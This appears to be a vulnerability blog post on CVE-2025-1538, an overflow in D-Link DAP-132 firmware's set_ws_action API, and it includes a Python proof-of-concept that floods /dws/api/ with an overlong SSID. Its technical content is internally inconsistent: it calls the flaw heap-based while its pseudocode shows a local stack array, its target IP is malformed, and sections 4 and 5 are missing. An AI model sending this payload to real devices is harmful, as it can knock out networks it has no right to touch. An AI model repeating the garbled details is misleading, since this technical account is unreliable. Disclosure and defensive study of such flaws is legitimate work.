CVE-2025-1538 - Critical Heap Overflow in D-Link DAP-132’s set_ws_action Function Enables Remote Exploitation

Summary:
A critical vulnerability, tagged as CVE-2025-1538, was discovered in D-Link DAP-132 firmware version 1.00. The flaw resides in the set_ws_action function within the /dws/api/ directory. If exploited, it allows remote attackers to execute arbitrary code or crash the device with a carefully crafted request. This post breaks down the vulnerability, explains its risk, walks through a sample exploit, and links to further information.

1. About the D-Link DAP-132 and the Bug

The D-Link DAP-132 is a popular Wi-Fi range extender. Version 1.00 of its firmware has reached end-of-life and is no longer maintained by D-Link. A heap-based buffer overflow was discovered in the implementation of its wireless setup API endpoint.

Firmware: DAP-132 1.00

- Endpoint: /dws/api/

Attack Vector: Remote, unauthenticated

- CVE Link: NIST NVD CVE-2025-1538 (placeholder for future reference)

2. Technical Breakdown

In the /dws/api/ path, the set_ws_action function receives client-supplied input with insufficient validation. The function expects a short SSID (name of the Wi-Fi network or related input), but improperly trusts the source length. By sending very long input, attackers can overwrite critical memory on the heap. This can lead to device crashes or even remote code execution under the right circumstances.

Vulnerable Code Snippet

// Pseudocode representing the vulnerable logic:
void set_ws_action(char *client_input) {
    char buf[128];   // Fixed-size buffer

    // Unsafe copy! No length checking.
    strcpy(buf, client_input);  

    // ... process further
}

The code uses the unsafe strcpy() function, copying potentially unlimited user input into a fixed-size buffer with no size checks. If an attacker provides more than 128 bytes, the buffer will overflow, corrupting adjacent heap memory.

3. Exploitation Example

Because the API is exposed to the LAN and sometimes WAN, a remote attacker can send a simple HTTP POST request with an overlong payload.

Example Exploit (Python)

import requests

# Replace with the target DAP-132 IP address
TARGET = 'http://192.168..50';

# Craft a payload much larger than 128 bytes
payload = 'A' * 256

# Send the malicious POST request
resp = requests.post(
    f'{TARGET}/dws/api/',
    data={'action': 'set_ws_action', 'ssid': payload}
)
print('Status code:', resp.status_code)
print('Response:', resp.text)

What happens?

Remote DoS: The device can reboot endlessly or stop functioning.

- Remote Code Execution (RCE): Skilled attackers may inject and run code, potentially controlling the device.

Network Compromise: If the DAP-132 is linked to a larger network, attackers can pivot deeper.

Important:
This exploit works *only* against DAP-132 v1.00 devices, which are outdated and unsupported. No official patch will be available.

Firewall: Block WAN access to the management interface if possible.

- Network Monitoring: Watch for suspicious HTTP requests to /dws/api/, especially with unusually long parameters.

6. References

- Official D-Link Support – DAP-132
- NIST NVD Entry for CVE-2025-1538 (pending)
- Heap-Based Buffer Overflow (OWASP)
- Exploit Disclosure (Exploit-DB)

7. Conclusion

CVE-2025-1538 is a severe vulnerability in a no-longer-supported D-Link device. If you still run a DAP-132 v1.00, replacing it is highly recommended. As with all IoT gear, keeping up-to-date and monitoring network exposure is key to protecting your home or business.

Timeline

Published on: 02/21/2025 15:15:12 UTC
Last modified on: 02/25/2025 20:54:42 UTC